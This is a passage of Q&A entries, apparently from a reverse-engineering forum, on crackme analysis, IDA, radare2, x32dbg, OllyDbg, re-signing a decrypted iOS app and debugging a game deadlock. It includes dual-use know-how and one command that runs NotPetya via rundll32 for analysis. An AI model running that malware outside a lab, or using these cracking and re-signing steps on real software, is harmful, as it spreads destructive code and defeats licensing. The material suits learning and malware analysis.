    result =(<Module>.std.basic_string<char,std::char_traits<char>,std::allocator<char>\\u0020>.compare(ref basic_string<char,std::char_traits<char>,std::allocator<char>\\u0020>, 0u, (uint)(*(ref basic_string<char,std::char_traits<char>,std::allocator<char>\\u0020> + 16)), ptr, count) == 0);\n
    \n\n

    5)Maybe there's a easier way which I don't know to solve this crackme? I firstly tried to use IDA as always, but that wasn't really helpful in this case.

    \n", "Title": "Reverse engineering of Managed C++/C# CrackMe", "Tags": "|.net|crackme|c#|", "Answer": "
      \n
    1. Looks like a copy ctor, so my judgement would be the same as yours - assignment.
      2. \n
    2. I would assume that's sets value 0 at the specified offset.
      3. \n
    \n\n

    EDIT: that's partially true, upon further investigation it looks like that at index 16, the length of the string is stored, and at index 20 it's some kind of type. If value @20 is > 16 then the string is in fact a pointer to memory region where the string is stored. For shorter strings it is stored internally. So setting those two to 0 is initialization/reseting the values.

    \n\n
      \n

    1. Hard to believe but that's part of auto generated names. If you don't declare variables and have code like this

      \n\n
      std::string(\"\");\nstd::string(\"\"); \n
      \n\n

      then underneath it will be like this

      \n\n
      basic_string<char,std::char_traits<char>,std::allocator<char>\\u0020> basic_string<char,std::char_traits<char>,std::allocator<char>\\u0020>;\nbasic_string<char,std::char_traits<char>,std::allocator<char>\\u0020> basic_string<char,std::char_traits<char>,std::allocator<char>\\u0020>2; \n
      2. \n

    2. This is compare method, the signature is: System::String::Compare(strA, indexA, strB, indexB, len). In your case it compares content of variable string starting from index 0 with the further part of the same variable - above index 16.

      3. \n

    3. Everything you need to know is in the check method. Why not debug it? dnSpy can do that. By the quick look it calculates MD5 from the Email, but there are some parts that require a bit of further investigation and you did not provided the full binary. Some questions what does <Module>.GetString() returns? - it looks like it's essential to the calculation. \nAlso this <Module>.??_C@_00CNPNBAHC@?$AA@ is probably a const string.

      4. \n
    \n\n

    A bit of more info, although it is a bit harder than in normal .NET application one can still get to the data that's needed to correctly solve this. If we inspect the method where we compare

    \n\n

    \"enter

    \n\n

    we can there inspect the variables & addresses that are in fact memory locations that are containing the values. maybe you can't inspect them from Locals, but if you press CTRL+G, and type the memory location you will be taken where you need to be.

    \n\n

    \"enter

    \n" }, { "Id": "16398", "CreationDate": "2017-09-24T05:12:54.203", "Body": "

    What exactly is a Netnode? What are they used for and how can I manipulate them with IDC or the SDK?

    \n", "Title": "Understanding IDA's netnodes", "Tags": "|ida|", "Answer": "

    The online IDA SDK has an excellent description: https://www.hex-rays.com/products/ida/support/sdkdoc/netnode_8hpp.html

    \n\n

    An IDA database is one large table of key/value pairs.\nAll keys associated with a single address together form a netnode.

    \n\n

    There are two kinds of netnodes:

    \n\n\n\n

    These internal items usually have addresses which start with 0xFF0....\nBecause of this it can be a bit of a challenge to reverse engineer binaries which happen to use that address range.

    \n\n

    A list of items which are stored in netnodes can be found in netnode.hpp and nalt.hpp

    \n" }, { "Id": "16416", "CreationDate": "2017-09-26T13:33:57.313", "Body": "

    I was looking into a C++ program compiled for aarch64 with ida pro 6.9 and came across something really weird:

    \n\n

    somescope::SomeClass<false>::some_name<somescope::SomeClass<false>::other_name(uint,uint,uint)::{lambda(void *,bool)#2}>::SOMETHING

    \n\n

    I'm really confused by this notation... Specifically:

    \n\n
      \n

    1. What does {lambda(void *,bool)#2} mean? Is it an indicator for lambda expression? Also, what is #2?

      2. \n

    2. Is other_name(uint,uint,uint) somewhat a scope? What could other_name possibly be if this is the case?

      3. \n
    \n\n

    I'm fairly new to reverse engineering and I've tried to google this for like an hour... Please hint me if you've got clue.

    \n\n

    Thanks in advance!

    \n", "Title": "IDA pro 6.9, what does \"lambda\" in type notation mean in C++ reversed code", "Tags": "|ida|c++|", "Answer": "

    About your first question: what does ...lambda... mean: Yes, obviously, it refers to a lambda function.

    \n\n

    The second part of your first question: What is #2: Some experimentation with lambda's shows that this is like a sequence number of lambda's within a function.\nNote that gcc and clang have different ways of encoding this.\ngcc uses the lambda()#2 notation, while clang uses something like $_1.

    \n\n

    Your second question: what is other_name: I think that would be the function where the lambda is defined.

    \n\n

    And some_name being the function which is passed the lambda as a template parameter.

    \n\n

    The lambda's themselves are passed as a struct containing either copies of values or pointers, or from a c++ point of view: references, to the closure defined by the lambda.

    \n\n
    \n\n

    Experimenting with how your compiler treats lambda's is quite easy.\nWrite some test code:

    \n\n\n\n
    #include <stdio.h>\n\ntemplate<typename FN>\nint test(FN f)\n{\n    return f();\n}\n\nint main(int, char**)\n{\n    int a, b;\n    auto f1 = [](int a, int b) { return a+b; };\n    int c = test([&a, b, &f1]() { return f1(a,b); });\n    auto f2 = [](int a, int b) { return a-b; };\n    int d = test([&a, b, &f2]() { return f2(a,b); });\n\n    printf(\"c=%d, d=%d\\n\", c, d);\n    return 0;\n}\n
    \n\n

    Then compile with least optimization, and debug symbols:

    \n\n
    g++ -O0 -g yourfile.cpp\n
    \n\n

    And view the resulting binary in ida.

    \n" }, { "Id": "16426", "CreationDate": "2017-09-28T02:48:18.940", "Body": "

    I'm reversing a Windows binary using x32Dbg and I have the following instruction: call ntdll.776C695A.
    \nWhat steps should I take in order to find out which function this is and/or what it does? The debugger seems to provide some symbols but not all.

    \n\n

    Thank you.

    \n", "Title": "In a native debugger, what must be done in order to resolve ntdll/other API symbols manually?", "Tags": "|debugging|x64dbg|", "Answer": "

    Simply execute downloadsym ntdll in the command field at the bottom of x32dbg.

    \n\n

    As you can see in the documentation:

    \n\n
    \n

    Command: symdownload / downloadsym
    \n Attempt to download a symbol from a Symbol Store.

    \n \n

    arguments
    \n [arg1] - Module name (with or without extension) to attept to download symbols for. When not specified, an attempt will be\n done to download symbols for all loaded modules.

    \n \n

    [arg2] - Symbol Store URL. When not specified, the default store will\n be used.

    \n \n

    result
    \n This command does not set any result variables.

    \n
    \n\n

    This should retrieve the Debugging Symbols from the Microsoft public symbol server and update the assembly accordingly.

    \n" }, { "Id": "16428", "CreationDate": "2017-09-28T07:07:56.910", "Body": "

    I have been trying to figure this out for quite some time now, and would really need some help. Firstly, some intro:

    \n\n

    I am running the newest version of radare2 from Github on a 64bit Ubuntu 16.04 and have the following sample program r2_test.cpp:

    \n\n
    #include <cstdio>\n\nint main(int argc, char* argv[])\n{\n    int num;\n\n    while (1)\n    {\n        printf(\"Enter a number: \");\n        scanf(\"%d\", &num);\n        printf(\"You entered: %d\\n\", num);\n    }\n\n    return 0;\n}\n
    \n\n

    What I am trying to achieve is to debug this program using radare2 and two terminals in a way that I run radare2 in terminal window T1 and have the programs input/output in terminal window T2. After some research I figured that this should probably be done with the help of rarun2 tool.

    \n\n

    So, for my first try I read the man page for rarun2, specifically the part with redirecting IO to another terminal and after identifying the T2 terminal as /dev/pts/17 I created the following test.rr2 file:

    \n\n
    #!/usr/bin/rarun2\nstdio=/dev/pts/17\n
    \n\n

    In T2 terminal I've then run sleep 999999 and in terminal T1 I run r2 -R test.rr2 -d a.out and when executing the command dc inside radare2, the programs input/output is in terminal T1 which is not what I wanted. I've also tried variations like making test.rr2 equal

    \n\n
    #!/usr/bin/rarun2\nstdin=/dev/pts/17\nstdout=/dev/pts/17\n
    \n\n

    or

    \n\n
    #!/usr/bin/rarun2\nstdio=/dev/pts/17\nstdin=/dev/pts/17\nstdout=/dev/pts/17\n
    \n\n

    but the result was always the same.

    \n\n

    For my second try, after some research and reading, I tried running the radare2 in the following way: r2 -d rarun2 program=a.out stdio=/dev/pts/17. With this I've achieved redirecting the IO to terminal T2, but the process which gets debugged inside radare2 is the rarun2 tool and since my knowledge of Linux and reverse engineering on it is not that good, I don't really know how to proceed to debugging the a.out process.

    \n\n

    So, to summarize, I would really appreciate if someone could share here if this kind of debugging can be done with radare2 and, if it can, how to achieve it? I've also tried it with using nc, but I haven't made any progress to this topic with it.

    \n", "Title": "Debugging with radare2 using two terminals", "Tags": "|debugging|linux|radare2|", "Answer": "

    It is actually very simple and works for me just fine as you can see in the following gif:

    \n\n

    \"Direct

    \n\n
    \n\n

    First you need to figure out the tty of the terminal you want to redirect the STDIO to (a.k.a Terminal 2, T2).\nYou can do this by simply execute:

    \n\n
    $ tty\n/dev/pts/2\n
    \n\n

    This tty will soon be used on the rarun2 profile file.\nMeantime, let's put T2 to sleep by using sleep 999999.

    \n\n

    Moving to Terminal 1, let's create a simple rarun2 profile with the following content:

    \n\n
    #!/usr/bin/rarun2\nstdio=/dev/pts/2\n
    \n\n

    We configured stdio to transfer the standard input and output to T2.\nNow let's execute our program with the profile we've just created:

    \n\n
    $ r2 -e dbg.profile=profile.rr2 -d a.out  \nProcess with PID 14074 started...\n= attach 14074 14074\nbin.baddr 0x00400000\nUsing 0x400000\nAssuming filepath /tmp/re/a.out\nasm.bits 64\n -- Mind that the 'g' in radare is silent\n[0x7f9654e0fd80]>\n
    \n\n

    (The same can be done using: r2 -r profile.rr2 -d a.out)
    \nThe program successfully loaded in debug mode. Now just for the example, let's put a breakpoint on the second call to printf and start the program using dc. In the gif I was not creating a breakpoint.

    \n\n
    [0x7f9654e0fd80]> db 0x00400580\n[0x7f9654e0fd80]> dc\nSelecting and continuing: 14074\n
    \n\n

    Now T2 gives us the output and asks for our input:

    \n\n
    Enter a number:\n
    \n\n

    After we send it a digit our breakpoint on T1 hit:

    \n\n
    hit breakpoint at: 400580\n[0x00400580]>\n
    \n\n

    We can now continue the execution using dc, the loop would continue forever and the Standard Input and Output will be in T2.

    \n" }, { "Id": "16438", "CreationDate": "2017-09-28T23:16:52.370", "Body": "

    On a jailbroken iOS device, I have successfully decrypted an app, and disabled ASLR, thanks to the hundredth of tutorials available.

    \n\n

    But then, none explain how relaunch the app once ASLR has been disabled. How to do that ?

    \n\n

    I have tried copy and paste the app binary in the installation folder, but this fails to start.

    \n\n

    If I understand correctly, disabling the ASLR is useful to be able to find procedure's adresses using, say, Hopper, and then put breakpoints at these adresses in the app while using it. Am I wrong ?

    \n\n

    I wonder if my workflow is the correct one. At the end I would like to use Hopper as a static analyser and setting breakpoints using lldb dynamically. Is it the correct way ?

    \n", "Title": "How relaunch iOS app once ASLR has been disabled?", "Tags": "|ios|hopper|", "Answer": "

    I found a solution thanks to this ressource on GitHub: https://github.com/peterfillmore/removePIE/issues/1

    \n\n\n\n

    The ldidtool can be installed through brew: http://brewformulas.org/Ldid

    \n\n

    Here is an exemple for the Facebook app, taken from the previous linked page:

    \n\n
    myPC: ~ peterfillmore$ ldid -e ./Facebook > ent.xml\nmyPC: ~ peterfillmore$ codesign -f -s \"iPhone Developer\" --entitlements ent.xml ./Facebook\n./Facebook: replacing existing signature\n#resign app binary (need apple developper account)\n\niPad:/usrapps/73547808-1899-412F-9CBF-C636B7851EE9/Facebook.app root# rm ./Facebook\n#remove existing binary to clear cache(i think)\n\nmyPC:~ peterfillmore$ scp ./Facebook root@192.168.1.20://usrapps/xxx/Facebook.app/Facebook\n#copy back to device\n\niPad:/usrapps/xxx/Facebook.app root# chmod 0755 ./Facebook\n#change back to executable\n\niPad:/usrapps/xxx/Facebook.app root# ./Facebook\n#executes fine\n
    \n\n

    I hope this will help others.

    \n" }, { "Id": "16442", "CreationDate": "2017-09-29T08:31:46.153", "Body": "

    I see those in a debugger (OllyDbg, handles subwindow), but I never meet an explanation on what those are.

    \n\n

    Here is the full content of it, and to be honest I want to know the meaning of all of this. There are suspiciously a lot of NamedBuffer, and I wonder if it's the same for other computers.

    \n\n

    Yesterday I learned that I can switch between native (\\REGISTRY\\MACHINE) and translated (HKEY_LOCAL_MACHINE) names by pressing Tab. It works for registry paths and file paths.

    \n\n
    Handles\nHandle     Type             Refs    Access     T    Info          Name\n00000028   ALPC Port           4.   001F0001\n0000004C   Desktop          1737.   000F01FF                      \\Default\n00000008   Directory          91.   00000003                      \\KnownDlls\n0000000C   Directory          53.   00000003                      \\KnownDlls32\n00000018   Directory          53.   00000003                      \\KnownDlls32\n00000070   Directory        2028.   0000000F                      \\Sessions\\1\\BaseNamedObjects\n0000003C   Event               2.   001F0003\n00000044   Event               3.   001F0003\n00000058   Event               2.   001F0003\n0000005C   Event               2.   001F0003\n00000060   Event               2.   001F0003\n00000064   Event               2.   001F0003\n00000068   Event               2.   001F0003\n0000006C   Event               2.   001F0003\n0000007C   File (dev)          2.   00100003                      \\FileSystem\\Filters\\FltMgrMsg\n00000010   File (dir)          2.   00100020                      \\Device\\HarddiskVolume1\\Windows\n0000001C   File (dir)          2.   00100020                      \\Device\\HarddiskVolume1\\shared\\debugger\n00000004   Key                 2.   00000009                      \\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\n00000014   Key                 2.   00000009                      \\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\n00000020   Key                 2.   00020019                      \\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\Control\\Nls\\Sorting\\Versions\n00000024   Key                 2.   00000001                      \\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\Control\\SESSION MANAGER\n00000038   Key                 2.   000F003F                      \\REGISTRY\\MACHINE\n00000034   Mutant              2.   001F0001\n00000080   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\mchLLEW2$1360\n00000084   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a5f9e0\n00000088   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\AutoUnhookMap$00001360$73ec0000\n0000008C   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $71ac0000\n00000094   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a7dffe\n00000098   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $73e812c6\n0000009C   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $73e82384\n000000A0   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $76fef792\n000000A4   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75db3be3\n000000A8   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $76e69d0b\n000000AC   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75b77ba4\n000000B0   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75b7ea03\n000000B4   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75b7b986\n000000B8   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75b758b3\n000000BC   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75dccd11\n000000C0   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75db9ae4\n000000C4   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75e1dd76\n000000C8   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75e1de19\n000000CC   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75dc3baa\n000000D0   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75b75ea5\n000000D4   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75b7cc01\n000000D8   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ba4969\n000000DC   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75b7ba5f\n000000E0   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75f202bf\n000000E4   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75f2027b\n000000E8   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ed835c\n000000EC   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ed7603\n000000F0   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ecee09\n000000F4   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ed6110\n000000F8   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ec8332\n000000FC   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ed3baa\n00000100   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ed12a5\n00000104   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ed3c61\n00000108   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ec8bff\n0000010C   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ed612e\n00000110   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ec9679\n00000114   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ed781f\n00000118   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ec97d2\n0000011C   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75f26cfc\n00000120   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ed76e0\n00000124   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75f26d5d\n00000128   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ed7668\n0000012C   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75eec112\n00000130   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75eed0f5\n00000134   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75eeff4a\n00000138   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75eeec68\n0000013C   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ed291f\n00000140   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75eeeb96\n00000144   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75f288eb\n00000148   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ed2d64\n0000014C   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ed3698\n00000150   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75edc4b6\n00000154   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75f27dd7\n00000158   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75f09f1d\n0000015C   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ecefc9\n00000160   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ed6c30\n00000164   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ec90d3\n00000168   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75ed2da4\n0000016C   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $75f11497\n00000170   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a60550\n00000174   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a603d0\n00000178   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a6079c\n0000017C   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a5ff74\n00000180   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a606f4\n00000184   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a60874\n00000188   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a607e4\n0000018C   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a60004\n00000190   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a60084\n00000194   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a61cb4\n00000198   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a61d8c\n0000019C   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a5fcb0\n000001A0   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a60694\n000001A4   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a60df4\n000001A8   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a61be4\n000001AC   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a5ffa4\n000001B0   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a5fdc8\n000001B4   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a600b4\n000001B8   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a5fd64\n000001BC   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a5fec0\n000001C0   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a6088c\n000001C4   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a60ed8\n000001C8   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a5fb28\n000001CC   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a608a4\n000001D0   Section             3.   000F0007                      \\Sessions\\1\\BaseNamedObjects\\NamedBuffer, mAH, Process $00001360, API $77a603b8\n0000002C   Semaphore           2.   00100003        Count 0. of\n00000030   Semaphore           2.   00100003        Count 0. of\n00000048   WindowStation      82.   000F037F                      \\Sessions\\1\\Windows\\WindowStations\\WinSta0\n00000050   WindowStation      82.   000F037F                      \\Sessions\\1\\Windows\\WindowStations\\WinSta0\n
    \n", "Title": "What is \\Sessions\\1\\BaseNamedObjects\\NamedBuffer?", "Tags": "|windows|ollydbg|winapi|", "Answer": "

    About this line:

    \n\n
    00000034   Mutant              2.   001F0001\n
    \n\n

    A mutant is the kernel name for a mutex.

    \n\n
    \n

    The name mutant has a colorful history. Early in Windows NT's\n development, Dave Cutler created a kernel mutex object that\n implemented low-level mutual exclusion. Later he discovered that OS/2\n required a version of the mutual exclusion semaphore with additional\n semantics, which Dave considered \"brain-damaged\" and which was\n incompatible with the original object. (Specifically, a thread could\n abandon the object and leave it inaccessible.) So he created an OS/2\n version of the mutex and gave it the name mutant. Later Dave modified\n the mutant object to remove the OS/2 semantics, allowing the Win32\n subsystem to use the object. The Win32 API calls the modified object\n mutex, but the native services retain the name mutant.

    \n
    \n\n

    https://forum.sysinternals.com/whats-a-mutant-handle_topic17376.html

    \n\n

    https://blogs.msdn.microsoft.com/larryosterman/2004/09/24/cleaning-up-shared-resources-when-a-process-is-abnormally-terminated/

    \n\n

    Helen Custers, \"Inside Windows NT\"

    \n" }, { "Id": "16445", "CreationDate": "2017-09-29T12:33:19.647", "Body": "

    Could anyone tell me the basic steps and most used radare2 commands for debugging a hang x86 application to find the source of the hang?

    \n\n

    I know this question may sound a bit broad but I don't know where to learn this better than here.

    \n", "Title": "How to debug a hang application with radare2?", "Tags": "|debugging|x86|radare2|", "Answer": "

    You just have to attach to the hanging process as follow:

    \n\n
    $ pidof myhangingprocess\n32220\n$ r2 -d 32220\n
    \n\n

    And, that should start a radare2 session on the program you are inspecting. But, for debugging, I would greatly prefer to use gdb (radare2 is a good tool for reverse-engineering but not really for debugging).

    \n" }, { "Id": "16446", "CreationDate": "2017-09-29T12:58:39.837", "Body": "

    English isn't my first language, So I will do my best )

    \n\n

    I am trying to analyze some malware NotPetya and I can run the malware by running :

    \n\n

    rundll32.exe notpetya.dll #1

    \n\n

    I am using Olly and trying to use the LoadDLL feature. I see where the DLL calls some of it's functions, however I am not able to follow and watch it work. I want to be able to debug this DLL and see what is happening as it's working.

    \n\n

    As far as I can tell, there doesn't appear to be anything to obfuscate me from doing this.

    \n\n

    I hope I have made this clear enough for people to understand. I don't require the answer to use OllyDBG , but I would like to be able to follow this DLL.

    \n\n

    Thank you

    \n", "Title": "How can I dynamically debug a malicious DLL?", "Tags": "|ollydbg|debugging|malware|dll|dynamic-analysis|", "Answer": "

    Perhaps the simplest thing would be to find the entrypoint in the DLL, make a note of the byte at that location, and then replace it with an \"int 3\" (0xcc) instruction. Then you can use a debugger to run the command-line that will cause the DLL to be loaded, and the debugger will regain control. At that point, you can restore the replaced byte with the original value, and single-step or run to breakpoints that you set.

    \n" }, { "Id": "16460", "CreationDate": "2017-10-01T15:35:25.853", "Body": "

    Intro

    \n\n

    I'm facing a peculiar deadlock scenario I never saw before.

    \n\n

    I'm trying to debug this deadlock from 3 days and couldn't find how to fix it in a proper way. Hopefully someone would help me out.

    \n\n

    We don't have the application's source code so this deadlock must be fixed patching the asm code (no problems patching the binary though).

    \n\n

    The scenario

    \n\n

    The application is a x86 old online game which uses directx 9 to render graphics (d3d9.dll). From what I could analyse there are 3 threads related to this deadlock. To name, thread #1 is the main thread (which render every frame), thread #2 seems to be a d3d9 worker thread that queue some async resource loading to be processed and drawn out by the thread #1, and then we have the mysterious thread #3 which is related to a feature of the game that basically make a http request to a server and download a texture to display in the game on-the-fly; every time this texture have to be drawn, the main thread creates this thread #3 to process the I/O to download the texture, which will be passed to the thread #2 (d3d9 worker thread) to be finally async processed by the thread #1 (game loop).

    \n\n

    After thread #3 gives to thread #2 the texture resources, thread #3 shutdowns itself. This thread #3 is created from crt!_beginthread and shutdown with crt!_endthread.

    \n\n

    The deadlock

    \n\n

    To sumup: thread #1 (game loop), thread #2 (d3d9 worker thread), thread #3 (downloads texture from http).

    \n\n

    The problem occurs when (for some unknown reason) thread #3 is ended without freeing a lock which is being awaited by thread #2. Thread #1 in turn is waiting for thread #2 to acquire the resources to be drawn.

    \n\n

    This is different from all other deadlocks I have faced with because the thread that seems to be causing the deadlock doesn't exist anymore when the deadlock occurs. All the other deadlocks I have debugged was pretty much straight forward to find the source of the problem because when isolating the threads in deadlock I simply had to analyse the call stack from each thread to know exactly what was happening. The big problem here is that as thread #3 is dead I don't have its call stack to see the moment it creates the deadlock. So the big question is: how can I find what is happening inside this thread #3 if I can't even see the call stack?

    \n\n

    Some WinDbg analysis output after deadlocks occur

    \n\n

    0:001> !locks

    \n\n
    CritSec +935a060 at 0935a060\nWaiterWoken        No\nLockCount          2\nRecursionCount     1\nOwningThread       34fc\nEntryCount         0\nContentionCount    21a\n*** Locked\n\nScanned 27 critical sections\n
    \n\n

    0:001> !runaway

    \n\n
